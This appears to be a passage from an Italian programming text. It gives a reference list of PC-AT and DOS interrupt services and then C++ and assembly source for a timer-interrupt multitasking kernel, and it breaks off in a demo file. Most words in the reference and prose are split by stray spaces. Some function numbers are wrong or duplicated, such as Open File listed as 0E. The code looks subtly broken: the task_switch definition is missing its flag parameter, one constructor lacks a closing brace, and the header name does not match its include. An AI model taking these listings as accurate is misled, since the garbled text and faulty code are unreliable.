PC- AT WRI TE DATE - r om_t i me
i n: ah = wr _dat e [ 05]
dl = day
dh = mont h
cl = year
ch = cent ur y ( 19/ 20)
out : none

PC- AT SET ALARM - r om_t i me
i n: ah = set _al ar m[ 06]
ch = hour s
cl = mi nut es
dh = seconds
out : none
not es: pl ace al ar mhandl er addr ess i n i nt 4A vect or

PC- AT RESET ALARM - r om_t i me [ 07]
i n: ah = r eset _al ar m
out : none



I seguent i i nvece sono ser vi zi del DOS quasi t ut t i i nser i t i dent r o agl i
i nt er r upt s 20 e 21.

DOS
- - -

DOS PROGRAM TERMINATION SERVICE [int 20]


DOS FUNCTION SERVICES [int 21]

DOS1 - TERMI NATE PROGRAM - dos_f unc
i n: ah = t er m[ 00]
out : none

DOS1 - KEYBOARD I NPUT WI TH ECHO - dos_f unc
i n: ah = key_i n_echo [ 01]
out : al = char

DOS1 - DI SPLAY OUTPUT - dos_f unc
i n: ah = di sp_out [ 02]
dl = char
out : none

DOS1 - SERI AL I NPUT - dos_f unc
i n: ah = ser i al _i n [ 03]
out : al = char

DOS1 - SERI AL OUTPUT - dos_f unc
i n: ah = ser i al _out [ 04]
dl = char

DOS1 - PRI NTER OUTPUT - dos_f unc
i n: ah = pr i nt er _out [ 05]
dl = char

DOS1 - DI RECT CONSOLE I / O - dos_f unc
i n: ah = consol e_i o [ 06]
dl = oper at i on code
00 t hr u FE = char t o out put
FF = keyboar d i nput
out : al = char i nput

DOS1 - DI RECT KEYBOARD I NPUT - dos_f unc
i n: ah = di r _key_i n [ 07]
out : al = char

DOS1 - KEYBOARD I NPUT WI THOUT ECHO - dos_f unc
i n: ah = key_i n [ 08]
out : al = char

DOS1 - DI SPLAY STRI NG - dos_f unc
i n: ah = di sp_st r i ng [ 09]
ds: dx = st r i ng poi nt er
out : none

DOS1 - BUFFERED KEYBOARD I NPUT - dos_f unc
i n: ah = buf _key_i n [ 0A]
ds: dx = buf f er poi nt er
out : none

DOS1 - CHECK KEYBOARD STATUS - dos_f unc
i n: ah = chk_key_st at [ 0B]
out : al = st at us
00 = empt y
FF = char avai l abl e

DOS1 - CLEAR KEY BUFFER AND PERFORM FUNCTI ON - dos_f unc
i n: ah = cl r _key_f unc [ 0C]
al = subf unct i on ( 01, 06, 07, 08, or 0A; 00 = nul l )
dl = subf unct i on 6 char
out : al = subf unct i on 6 char

DOS1 - RESET DI SK - dos_f unc
i n: ah = r eset _di sk [ 0D]
out : none

DOS1 - SELECT CURRENT DRI VE - dos_f unc
i n: ah = sel _dr i ve [ 0E]

dl = dr i ve
out : al = dr i ve count

DOS1 - OPEN FI LE - dos_f unc
i n: ah = open_f i l e [ 0E]
ds: dx = FCB poi nt er
out : al = r et ur n code
00 = successf ul
FF = unsuccessf ul

DOS1 - CLOSE FI LE - dos_f unc
i n: ah = cl ose_f i l e [ 10]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - SEARCH FOR FI RST MATCHI NG FI LE - dos_f unc
i n: ah = sear ch_f i r st [ 11]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - SEARCH FOR NEXT MATCHI NG FI LE - dos_f unc
i n: ah = sear ch_next [ 12]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - DELETE FI LE - dos_f unc
i n: ah = del et e_f i l e [ 13]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - READ SEQUENTI AL RECORD - dos_f unc
i n: ah = r d_seq_r ec [ 14]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - WRI TE SEQUENTI AL RECORD - dos_f unc
i n: ah = wr _seq_r ec [ 15]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - CREATE FI LE - dos_f unc
i n: ah = cr eat e_f i l e [ 16]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - RENAME FI LE - dos_f unc
i n: ah = r ename_f i l e [ 17]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - REPORT CURRENT DRI VE - dos_f unc
i n: ah = r d_cur _dr i ve [ 19]
out : al = dr i ve

DOS1 - SET DI SK TRANSFER AREA FUCNTI ON - dos_f unc
i n: ah = set _dt a [ 1A]
ds: dx = DTA poi nt er
out : none

DOS1 - READ CURRENT DRI VE' S FAT - dos_f unc
i n: ah = r d_f at _1 [ 1B]
out : al = sect or s/ al l ocat i on uni t
cx = byt es/ sect or
dx = al l ocat i on uni t s
ds: dx = FAT I D byt e poi nt er

DOS1 - READ ANY DRI VE' S FAT - dos_f unc
i n: ah = r d_f at _2 [ 1C]
dl = dr i ve
out : al = sect or s/ al l ocat i on uni t
cx = byt es/ sect or
dx = al l ocat i on uni t s
ds: dx = FAT I D byt e poi nt er

DOS1 - READ RANDOM FI LE RECORD - dos_f unc
i n: ah = r d_r an_r ec1 [ 21]
ds: dx = FCB poi nt er
out : al = r et ur n code
00 = successf ul
01 = end of f i l e
02 = i nsuf f i ci ent DTA space
03 = end of f i l e wi t h par t i al r ecor d

DOS1 - WRI TE RANDOM FI LE RECORD - dos_f unc
i n: ah = wr _r an_r ec1 [ 22]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see r d_r an_r ec1)

DOS1 - REPORT FI LE SI ZE - dos_f unc
i n: ah = r d_f i l e_si ze [ 23]
ds: dx = FCB poi nt er
out : al = r et ur n code ( see open_f i l e)

DOS1 - SET RANDOM RECORD FI ELD SI ZE - dos_f unc
i n: ah = set _r an_r ec [ 24]
ds: dx = FCB poi nt er
out : none

DOS1 - SET I NTERRUPT VECTOR - dos_f unc
i n: ah = set _i nt _vec [ 25]
al = i nt number
ds: dx = i nt handl er poi nt er
out : none

DOS1 - CREATE PROGRAM SEGMENT FUCNTI ON - dos_f unc
i n: ah = cr eat e_seg [ 26]
dx = segment addr ess
out : none

DOS1 - READ RANDOM FI LE RECORD - dos_f unc
i n: ah = r d_r an_r ec2 [ 27]
cx = r ecor d count
ds: dx = FCB poi nt er
out : al = r et ur n code ( see r d_r an_r ec1)
cx = act ual r ecor d count

DOS1 - WRI TE RANDOM FI LE RECORD FUCNTI ON - dos_f unc
i n: ah = wr _r an_r ec2 [ 28]
cx = r ecor d count
ds: dx = FCB poi nt er
out : cx = act ual r ecor d count

DOS1 - PARSE FI LENAME - dos_f unc
i n: ah = par se_name [ 29]
al bi t s = par se cont r ol
0 = scan separ at or s
1 = set FCB dr i ve byt e
2 = change FCB f i l ename onl y i f f i l e i s f ound
3 = change FCB ext ensi on onl y i f f i l e i s f ound
ds: si = command l i ne poi nt er
es: di = FCB poi nt er
out : al = r et ur n code
00 = success wi t h si ngl e f i l ename
01 = success wi t h wi l dcar d
FF = f ai l ur e
ds: si = char f ol l owi ng f i l e name poi nt er
es: di = FCB poi nt er

DOS1 - GET DATE - dos_f unc
i n: ah = get _dat e [ 2A]
out : al = day of week ( 0 = Sun, 6 = Sat )
cx = year ( 1980 t hr u 2099)
dh = mont h
dl = day

DOS1 - SET DATE - dos_f unc
i n: ah = set _dat e [ 2B]
cx = year ( 1980 t hr u 2099)
dh = mont h
dl = day
out : none

DOS1 - GET TI ME - dos_f unc
i n: ah = get _t i me [ 2C]
out : cl = mi nut es
ch = hour s
dl = seconds 100t h' s
dh = seconds

DOS1 - SET TI ME - dos_f unc
i n: ah = set _t i me [ 2D]
cl = mi nut es
ch = hour s
dl = seconds 100t h' s
dh = seconds
out : none

DOS1 - SET DI SK WRI TE VERI FI CATI ON MODE - dos_f unc
i n: ah = set _ver i f y [ 2E]
al = ver i f y swi t ch
00 = ver i f y of f
01 - ver i f y on
dl = 00
out : none

DOS2 - GET DI SK TRANSFER AREA ADDRESS - dos_f unc
i n: ah = get _dt a [ 2F]
out : es: bx = DTA poi nt er

DOS2 - GET DOS VERSI ON NUMBER - dos_f unc
i n: ah = get _ver [ 30]
out : al = maj or
ah = mi nor
bx = 0000
cx = 0000

DOS2 - ADVANCED TERMI NATE BUT STAY RESI DENT - dos_f unc
i n: ah = keep [ 31]
al = r et ur n code
dx = segment addr ess of memor y t o f r ee
out : none

DOS2 - GET/ SET CONTROL BREAK STATUS - dos_f unc
i n: ah = cnt r l _br k [ 33]
al = get / set swi t ch
00 = get
01 = set
dl = set code
00 = br eak check of f
01 = br eak check on
out : dl = get code ( same as set code)

DOS2 - GET I NTERRUPT VECTOR - dos_f unc
i n: ah = get _i nt _vec [ 35]
al = i nt number
out : es: bx = i nt vect or

DOS2 - GET DI SK FREE SPACE - dos_f unc
i n: ah = get _space [ 36]
dl = dr i ve
out : ax = sect or s/ cl ust er
bx = avai l abl e cl ust er s
cx = byt es/ sect or
dx = t ot al cl ust er s

DOS2 - GET COUNTRY I NFORMATI ON - dos_f unc
i n: ah = get _count r y [ 38]
al = oper at i on code
00 = st andar d i nf o
01 - FE = count r y code
FF = count r y code i n bx
bx = count r y code when al = FF
ds: dx = 32 byt e buf f er poi nt er
out : cf = er r or
al = r et ur n code
ds: dx = i nf o poi nt er
bx = count r y code

DOS2 - MAKE DI RECTORY - dos_f unc
i n: ah = mkdi r [ 39]
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code
01 = i nval i d f unct i on
02 = f i l e not f ound
03 = pat h not f ound
04 = no mor e handl es
05 = access deni ed
06 = i nval i d handl e
07 = memor y cont r ol bl ocks dest r oyed
08 = i nsuf f i ci ent memor y
09 = i nval i d memor y bl ock addr ess
0A = i nval i d envi r onment
0B = i nval i d f or mat
0C = i nval i d access code
0D = i nval i d dat a
0F = i nval i d dr i ve spec
10 = at t empt t o r emove cur r ent di r ect or y
11 = not same devi ce
12 = no mor e f i l es

DOS2 - REMOVE DI RECTORY - dos_f unc
i n: ah = r mdi r [ 3A]
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - CHANGE CURRENT DI RECTORY FUNCTI ON - dos_f unc
i n: ah = chdi r [ 3B]
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - CREATE FI LE - dos_f unc
i n: ah = cr eat e [ 3C]
cx = f i l e at t r i but e
bi t 7 = unused
bi t 6 = unused
bi t 5 = ar chi ve
bi t 4 = subdi r ect or y
bi t 3 = vol ume l abel
bi t 2 = syst em
bi t 1 = hi dden
bi t 0 = r ead onl y
ds: dx = ASCI I Z poi nt er
out : cf = er r or
ax = handl e or r et ur n code ( see mkdi r )

DOS2 - OPEN FI LE - dos_f unc
i n: ah = open [ 3D]
al = access code
r d_onl y = r ead onl y
wr _onl y = wr i t e onl y
r d_wr = r ead/ wr i t e
ds: dx = ASCI I Z poi nt er
out : cf = er r or
ax = handl e or r et ur n code code ( see mkdi r )

DOS2 - CLOSE FI LE - dos_f unc
i n: ah = cl ose [ 3E]
bx = handl e
out : ax = r et ur n code ( see mkdi r )

DOS2 - READ FI LE/ DEVI CE - dos_f unc
i n: ah = r ead [ 3F]
bx = handl e
cx = byt es t o r ead
ds: dx = DTA poi nt er
out : cf = er r or
ax = byt es r ead or r et ur n code code ( see mkdi r )

DOS2 - WRI TE FI LE/ DEVI CE - dos_f unc
i n: ah = wr i t e [ 40]
bx = handl e
cx = byt es t o wr i t e
ds: dx = DTA poi nt er
out : cf = er r or
ax = byt es wr i t t en or r et ur n code ( see mkdi r )

DOS2 - DELETE FI LE - dos_f unc
i n: ah = del et e [ 41]
ds: dx = DTA poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - MOVE FI LE POI NTER - dos_f unc
i n: ah = move_poi nt er [ 42]
al = met hod code
cx: dx = of f set
out : cf = er r or
ax = r et ur n code ( see mkdi r )
ds: ax = new poi nt er l ocat i on

DOS2 - CHANGE FI LE MODE - dos_f unc
i n: ah = chmod [ 43]
al = get / set swi t ch
00 =get
01 = set
cx = f i l e at t r i but e ( see cr eat e)
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )
cx = f i l e at t r i but e ( see cr eat e)

DOS2 - DEVI CE I / O CONTROL - dos_f unc
i n: ah = i oct l [ 44]
al = subf unct i on
bl = dr i ve
bx = handl e
cx = byt es
out : cf = er r or
ax = byt es or r et ur n code
dx = cont r ol dat a bi t s

DOS2 - DUPLI CATE FI LE HANDLE - dos_f unc
i n: ah = dup [ 45]
bx = handl e
out : cf = er r or
ax = handl e or r et ur n code ( see mkdi r )

DOS2 - FORCE FI LE HANDLE DUPLI CATI ON - dos_f unc
i n: ah = cdup [ 46]
bx = f i r st handl e
cx = second handl e
out : ax = r et ur n code ( see mkdi r )
cx = handl e

DOS2 - GET CURRENT DI RECTORY - dos_f unc
i n: ah = get _di r [ 47]
dl = dr i ve
ds: si = buf f er poi nt er
out : cf = er r or
ds: si = pat h name

DOS2 - ALLOCATE MEMORY - dos_f unc
i n: ah = al l ocat e [ 48]
bx = par agr aphs
out : cf = er r or
ax = r et ur n code ( see mkdi r )
bx = l ar gest bl ock si ze avai l abl e

DOS2 - FREE MEMORY - dos_f unc
i n: ah = f r ee [ 49]
es = r et ur n segment bl ock
out : ax = r et ur n code ( see mkdi r )

DOS2 - MODI FY ALLOCATED MEMORY BLOCK - dos_f unc
i n: ah = set _bl ock [ 4A]
bx = par agr aphs
es = bl ock segment addr ess
out : ax = r et ur n code ( see mkdi r )
bx = maxi mumsi ze

DOS2 - LOAD/ EXECUTE PROGRAM - dos_f unc
i n: ah = exec [ 4B]
al = subf unct i on
ds: dx = ASCI I Z poi nt er
es: bx = cont r ol bl ock poi nt er
out : ax = r et ur n code

DOS2 - TERMI NATE PROCESS - dos_f unc
i n: ah = t er m_pr oc [ 4C]
al = r et ur n code ( set s ERRORLEVEL)
out : none

DOS2 - GET SUBPROGRAM RETURN CODE - dos_f unc
i n: ah = get _code [ 4D]
out : al = r et ur n code ( as set by t er m_pr oc [ 4C] )
ah = t er mi nat i on code
00 = nor mal vol unt ar y t er mi nat i on
01 = t er mi nat i on by DOS due t o CTRL- BREAK
02 = t er mi nat i on by DOS due t o cr i t i cal devi ce er r or
03 = vol unt ar y t er mi nat i on due t o keep [ 31]

DOS2 - FI ND FI RST FI LE MATCH - dos_f unc
i n: ah = f i nd_f i r st [ 4E]
cx = f i l e at t r i but e ( see cr eat e)
ds: dx = ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - FI ND NEXT FI LE MATCH - dos_f unc
i n: ah = f i nd_next [ 4F]
ds: dx = i nf o f r omf i nd_f i r st poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - GET FI LE WRI TE VERI FY STATE - dos_f unc
i n: ah = get _ver i f y [ 54]
out : al = ver i f y st at e
00 = of f
01 = on

DOS2 - RENAME FI LE - dos_f unc
i n: ah = r ename [ 56]
ds: dx = ol d ASCI I Z poi nt er
es: di = new ASCI I Z poi nt er
out : ax = r et ur n code ( see mkdi r )

DOS2 - GET/ SET FI LE DATE/ TI ME - dos_f unc
i n: ah = dat e_t i me [ 57]
al = get / set swi t ch
00 = get
01 = set
bx = handl e
cx = t i me
dx = dat e
out : ax = r et ur n code ( see mkdi r )
cx = t i me
dx = dat e

DOS3 - GET EXTENDED RETURN CODE - dos_f unc
i n: ah = get _er r [ 59]
bx = ver si on code ( 0000 = DOS3)
out : ax = r et ur n code
bh = er r or cl ass
bl = act i on
ch = l ocus

DOS3 - CREATE TEMPORARY FI LE - dos_f unc
i n: ah = cr eat e_t emp [ 5A]
ds: dx = pat hname poi nt er
cx = f i l e at t r i but e ( see cr eat e)
out : cf = er r or
ax = r et ur n code ( see mkdi r )
ds: dx = pat hname poi nt er

DOS3 - CREATE NEWFI LE - dos_f unc
i n: ah = cr eat e_new [ 5B]
ds: dx = f i l ename poi nt er
cx = f i l e at t r i but e ( see cr eat e)
out : cf = er r or
ax = handl e or r et ur n code ( see mkdi r )

DOS3 - LOCK/ UNLOCK FI LE ACCESS - dos_f unc
i n: ah = f i l e_l ock [ 5C]
al = swi t ch
00 = l ock
01 = unl ock
bx = handl e
cx: dx = of f set
si : di = amount
out : ax = r et ur n code ( see mkdi r )

DOS3 - GET PROGRAM SEGMENT PREFI X ADDRESS - dos_f unc
i n: ah = get _psp [ 56]
out : bx = PSP segment addr ess


dos_r d_abs DOS ABSOLUTE DI SK READ SERVI CE [ i nt 25]
i n: cx = sect or s
dx = st ar t sect or
ds: bx = dat a poi nt er
out : cf = er r or
al = r et ur n code
00 = wr i t e pr ot ect ed
01 = i nval i d dr i ve
02 = dr i ve not r eady
04 = CRC er r or
06 = seek er r or
07 = i nval i d f or mat
08 = sect or not f ound
0A = wr i t e er r or
0B = r ead er r or
0C = nonspeci f i c er r or
ah = r et ur n code
00 = ot her er r or
02 = bad addr ess mar k
03 = wr i t e pr ot ect ed
04 = bad sect or
08 = DMA f ai l ur e
10 = bad CRC
20 = cont r ol l er f ai l ur e
40 = bad seek
80 = t i meout


dos_wr _abs DOS ABSOLUTE DI SK WRI TE SERVI CE [ i nt 26]
i n: cx = sect or s
dx = st ar t sect or
ds: bx = dat a poi nt er
out : cf = er r or
ax = r et ur n code ( see dos_r d_abs)


dos_t er m_r es DOS TERMI NATE RESI DENT SERVI CE [ i nt 27]


dos_spool DOS PRI NT SPOOLER SERVI CES [ i nt 2F]

I NSTALLED QUERY - dos_spool
i n: al = spool _quer y [ 00]
out : al = r et ur n code
00 = not i nst al l ed but may be
01 = not i nst al l ed and may not be
FF = i s i nst al l ed

SUBMI T FI LE - dos_spool
i n: al = spool _submi t [ 01]
ds: dx = submi t packet poi nt er
byt e 0 = l evel code
byt es 1 - 4 = ASCI I Z poi nt er ( NO wi l dcar ds)
out : none

CANCEL FI LE - dos_spool
i n: al = spool _cancel [ 02]
ds: dx = ASCI I Z poi nt er ( wi l dcar ds OK)
out : none

CANCEL ALL FI LES - dos_spool
i n: al = spool _canal l [ 03]
out : none

EXAMI NE QUEUE - dos_spool
i n: al = spool _queue [ 04]
out : ds: dx = f i l ename l i st poi nt er

NULL - dos_spool
i n: al = spool _nul l [ 05]
out : none

Nel capi t ol o l egat o al l a t eor i a del l assembl er sono r i por t at e al t r e f unzi oni
d i nt er r upt s l egat e al l a gest i one del l a memor i a i n modo pr ot et t o.


INTERRUPT PARTICOLARI


Come di cevo i ni zi al ment e i n quest o capi t ol o, gl i i nt er r upt s possono esser e
suddi vi si i n t r e t i pi : har dwar e, sof t war e e di t abel l a.
Un i nt er r upt par t i col ar e, di cui abbi amo r i por t at o anche dei sor gent i d esempi o,
l i nt er r upt di t i mer har dwar e i l qual e a sua vol t a ne r i chi ama uno sof t war e.
Quest o l a base di t ut t i i sof t war e mul t i t aski ng.
Con i l si st ema mul t i t aski ng di Wi ndows oggi esi st e l a possi bi l t di cr ear e
pr ocessi concor r ent i anche sol t ant o usando i l messaggi o di t i mer di Wi ndows.
I n ogni caso possi bi l e cr ear e dei si st emi mul t i t aski ng con pochi ssi mo codi ce.
I l seguent e l i st at o most r a appunt o come possi bi l e cr ear e uno pseudo si st ema
mul t i t aski ng.


Tasking.hpp

typedef void (*func_ptr)(void);
/* this is used for interrupt handler to call old interrupt handler */
/* this is a far pointer to a function */
typedef void (far *far_func_ptr)(void);

/* this is how the registers will look on the stack for a task */
/* after they have been saved for a task switch. the sp and ss */
/* registers will point to this when a task is started from the */
/* interrupt handler or save_image */

typedef struct task_image{
unsigned int bp;
unsigned int di;
unsigned int si;
unsigned int ds;
unsigned int es;
unsigned int dx;
unsigned int cx;
unsigned int bx;
unsigned int ax;
unsigned int ip;
unsigned int cs;
unsigned int flags;
}task_image;

/* a task object. contains information needed by task_control object */
/* to do task switching and a pointer to the task's workspace (stack) */

class task{
private:
friend class task_control; // task_control object needs access
friend class signal; // signal needs access to next_task
task_image far *stack_ptr; // task stack ("image") pointer
unsigned char task_state; // task state flag
unsigned char *workspace; // address of allocated task stack
task *next_task; // pointer to next task in queue
public:
task(func_ptr func,unsigned int workspace_size); // constructor
~task();
// destructor
};


/* this is a queue for tasks */
/* it is called signal so user can define a signal for task communication */

class signal{
private:
friend class task_control; // task_control needs access
task *head;
task *tail;
task *get_task_q(void); // get next task off of queue
void put_task_q(task *tptr); // append task to queue
public:
signal(void){head=tail=0;}; // constructor
};




/* task_control object */
/* routines and methods to interface with and control tasks */
/* this object will initialize and restore interrupt vectors, */
/* keep track of timer ticks, and switch execution between the */
/* task objects */

class task_control{
private:
signal ready_q; // queue of tasks ready to run
task *current_task; // current active task
task_image far *old_stack_ptr; // return to this stack when done
unsigned int task_running; // task switching enabled flag
unsigned long timer_ticks; // 18.2 ticks/second
unsigned int task_lock; // lock out task switching
task_image far *task_switch(task_image far *stk_ptr,
unsigned int flag,
signal *sig);
public:
task_control(void); // constructor
void add_new_task(task *new_task); // add new task object to ready q
void start_tasks(void); // start switching tasks on
ready_q
void stop_tasks(void){task_running=0;};
unsigned long get_timer_ticks(void){return(timer_ticks);};
void lock(void){task_lock=1;}; // current task can not be
switched
void unlock(void){task_lock=0;}; // allow task switching
void send(signal *sig); // put task from sig q on ready
q
void wait(signal *sig); // put task on sig q
void block(void); // task allows next to run
};


task.cpp

/* this file implements the methods used by task_control and task */
/* objects */

#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <int.h>
#include "task.hpp"

/* task states */
#define TASK_INACTIVE 0
#define TASK_ACTIVE 1
#define TASK_READY 2
#define TASK_WAITING 3
#define TASK_ERROR 0xff

/* flags for interface routines */
#define TASK_TIMER_INTR 0
#define TASK_SEND 1
#define TASK_WAIT 2
#define TASK_BLOCK 3

/* system timer interrupt or "timer tick" */
#define TIMER_INT 8

/* routines we need from timer.asm */
unsigned int getCS(void);
extern void timer_handler(void);
extern void save_image(unsigned int flag,signal *sig);

/* global for timer_handler to call old interrupt routine */
far_func_ptr old_timer_handler;

/* this is really ugly. */
/* when constructor for task_control object is called we save the */
/* this pointer for task switch routine to call our task_control object */
/* task_switch. this means we can only have 1 task_control object. sorry */
task_control *gl_tptr;

/* constructor for a new task. workspace will be the stack space for */
/* the task. when the timer interrupt happens the tasks "image" */
/* is saved on the stack for use later and the task_image *stack_ptr */
/* will point to this image */

task::task(func_ptr func,unsigned int workspace_size)
{
task_image *ptr;

/* get stack or "workspace" for task */
if((workspace=(unsigned char *)malloc(workspace_size))==NULL){
task_state=TASK_ERROR; // do not let this one run
return;
}

/* now we must set up the starting "image" of the task registers */
/* ptr will point to the register image to begin task */
ptr=(task_image *)(workspace+workspace_size-sizeof(task_image));

/* now save the pointer to the register image */
stack_ptr=MK_FP(getDS(),(unsigned int)ptr);

ptr->ip=(unsigned int)func; // offset of pointer to task code
ptr->cs=getCS(); // segment of pointer to task, compiler bug
ptr->ds=getDS();
ptr->flags=0x200; // flags, interrupts on
task_state=TASK_INACTIVE; // task is inactive
next_task=0;

/* destructor for a task object */

task::~task(void)
{
free(workspace);
}

/* get the next task off of a task queue */

task *signal::get_task_q(void)
{
task *temp;

temp=head;
if(head)
head=head->next_task;
return(temp);
}

/* append a task to the end of a task queue */

void signal::put_task_q(task *tptr)
{
if(head)
tail->next_task=tptr;
else
head=tptr;
tail=tptr;
tptr->next_task=0;
}

/* constructor for task_control */
/* inits private stuff for task control */

task_control::task_control(void)
{
gl_tptr=this;
task_running=0;
current_task=0;
timer_ticks=0L;
task_lock=0;
}

/* adds a task to the task ready_q */
/* call this routine after creating a task object */

void task_control::add_new_task(task *new_task)
{
if(new_task->task_state!=TASK_ERROR){
new_task->task_state=TASK_READY;
ready_q.put_task_q(new_task);
}
}

/* call to start up tasks after you have created some */
/* and added them to the ready_q */

void task_control::start_tasks(void)
{
unsigned int offset,segment;

task_running=1;
/* get address of old timer interrupt handler */
int_getvector(TIMER_INT,&offset,&segment);
old_timer_handler=(far_func_ptr)(MK_FP(segment,offset));
/* set up our new timer interrupt handler */
int_setvector(TIMER_INT,(unsigned int)timer_handler,getCS());
/* tasks will now start running */
while(task_running)
; // do nothing, trick to wait for tasks to start up
/* falls through to here when multi-tasking is turned off */
}

/* gets the next task off of sig queue and puts it */
/* on the ready_q. this suspends operation of the calling */
/* task which is also put on the ready queue */

void task_control::send(signal *sig)
{
save_image(TASK_SEND,sig);
}

/* puts the calling task on the sig queue to wait for a signal */

void task_control::wait(signal *sig)
{
save_image(TASK_WAIT,sig);
}

/* this causes the current task to be placed on the ready queue */
/* and a switch to the next task on the ready_q */

void task_control::block(void)
{
save_image(TASK_BLOCK,(signal *)0);
}

/* this routine is called to do a task switch. it is */
/* passed a task_image far * to the current stack or task "image". */
/* also pass a flag (described above) and a signal pointer if needed. */
/* a task_image * to the "image" of the next task is returned */

task_image far *task_control::task_switch(task_image far *stk_ptr,
signal
*sig)
{
task_image far *temp;
task *tptr;

if(flag==TASK_TIMER_INTR) // increment clock if it is a timer interrupt
timer_ticks++;

/* this saves a pointer to stack when we first start multi-tasking */
/* allows us to return to where start_tasks was called */
if(!current_task){ // no current task so save state for restoring
old_stack_ptr=stk_ptr; // save stack pointer
current_task=ready_q.get_task_q(); // set up a current task
}

/* we have an active task, so do task switch if we can */
if(current_task->task_state==TASK_ACTIVE){
current_task->stack_ptr=stk_ptr; // save stack pointer
current_task->task_state=TASK_READY; // task is ready to go
/* do not allow task switching if tasks are locked and */
/* it is timer interrupt */
if(!task_lock || flag!=TASK_TIMER_INTR){
/* check and see what caused task_switch to be called */
switch(flag){
case TASK_WAIT:
current_task->task_state=TASK_WAITING;
sig->put_task_q(current_task);
break;
case TASK_SEND:
if((tptr=sig->get_task_q())!=0)
ready_q.put_task_q(tptr);
// fall through
case TASK_BLOCK:
case TASK_TIMER_INTR:
current_task->task_state=TASK_READY;
/* put old task on ready queue */
ready_q.put_task_q(current_task);
break;
}
/* get next task to go */
current_task=ready_q.get_task_q();
}
}

/* if we are still multi-tasking, get task ready to run */
if(task_running){
current_task->task_state=TASK_ACTIVE;
temp=current_task->stack_ptr; // get stack pointer of task
}
/* multi-tasking has stopped, get ready to return where we started */
else{ // someone called stop_tasks
int_setvector(TIMER_INT,FP_OFF(old_timer_handler),
FP_SEG(old_timer_handler));
temp=old_stack_ptr; // get back original stack
}
/* return far pointer to stack_image to do task switch */
return(temp);
}


timer.asm

;*****************************************************************************
; TIMER.ASM
; by Tom Green
; Timer interrupt handler
; Timer interrupt handler calls original handler first and then calls the
; task_control object task switcher. a pointer to the stack "image"
; of the new task is returned by the task switcher.
; getCS
; returns current code segment
; save_image
; saves "image" of task as if interrupt had happened and then calls the
; task_control object task switcher. a pointer to the stack "image"
; of the new task is returned by the task switcher.
;*****************************************************************************

.MODEL SMALL
.8086

.DATA

extrn _old_timer_handler:dword
extrn _gl_tptr:word
extrn __task_control_task_switch:near

.CODE

;*****************************************************************************
; unsigned int getCS(void) - returns current code segment.
; this is needed because of compiler bug. when a function is cast
; to a far function, and you try to get the segment, DS is returned
; instead of CS.
;*****************************************************************************
_getCS proc near
public _getCS
mov ax,cs
ret
_getCS endp

;*****************************************************************************
; timer_handler - this replaces the MS-DOS timer tick interrupt (8H).
; this routine saves everything on stack, calls original timer interrupt
; handler, and then calls task_control object task switcher.
;*****************************************************************************
_timer_handler proc near
public _timer_handler
push ax ;save everything
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
mov bp,dgroup
mov ds,bp ;get our data segment back
pushf
call dword ptr dgroup:_old_timer_handler ;call original handler
sti
xor dx,dx
mov ax,ss
mov bx,sp
push dx ;push 0 for last 2 parameters
push dx ;meaning timer interrupt
push ax
push bx
mov dx,_gl_tptr ;push hidden pointer for C++ object
push dx
;stack is now set up for call to task_control object task_switch
cli ;turn off interrupts for task switch
call __task_control_task_switch
;no need to clean up the stack because it will change
sti
mov ss,dx ;new ss returned in dx
mov sp,ax ;new sp returned in ax
pop bp ;restore registers
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
iret
_timer_handler endp

; void save_image(unsigned int flag,signal *sig) - send, wait, block
; etc. all call through here to save the "image" of the task. this
; code simulates what will happen with an interrupt by saving the task
; image on the stack. the flag passed is passed on to the task_control
; object task switcher so it knows if it was called by the timer
; interrupt handler, send, wait, block, etc. the second parameter
; is a signal pointer which is used by send and wait and is passed
; through to the task switcher.
;*****************************************************************************
_save_image proc near
public _save_image
;since this is a C call we can destroy some registers (ax bx cx dx),
;so now we will set up the stack as if an interrupt call had happened.
;leave parameters on stack, because calling routine will adjust on
;return. bx and cx will have the parameters that were passed.
pop ax ;get return address offset on stack
pop bx ;get first parameter off stack
pop cx ;get second parameter off stack
push cx ;put them back on stack
push bx
pushf ;save flags for iret
mov dx,cs ;get code segment
push dx ;save code segment for return address
push ax ;push saved return address offset
push ax ;save everything
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
sti
mov ax,sp ;stack pointer parameter
push cx ;second parameter passed
push bx ;first parameter passed
mov bx,ss
push bx ;far pointer to stack, parameter passed
push ax
mov ax,_gl_tptr ;push hidden pointer for C++ object
push ax
;stack is now set up for call to task_control object task_switch
cli ;turn off interrupts for task switch
call __task_control_task_switch
;no need to clean up the stack because it will change
sti
mov ss,dx ;new ss returned in dx
mov sp,ax ;new sp returned in ax
pop bp ;restore registers
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
iret
_save_image endp

end


I nf i ne con quest o sor gent e possi bi l e t est ar e i l mul t i t aski ng pr ecedent e.
t askdemo. cpp

/* this file is a demonstration of how to use the C++ multi-tasking */
/* kernel. 5 tasks are run and the various means of task switching */
/* and communication are shown */

/* you must have the Zortech C++ compiler version 1.5 and linker and */
/* Microsoft MASM 5.xx to compile this code. */
/* type "ztc taskdemo task timer" and the ztc.com will take */
/* care of compiling, assembling, and linking */

#include <stdio.h>
#include <disp.h>
#include "task.hpp"

void task0(void);
void task1(void);
void task2(void);
void task3(void);
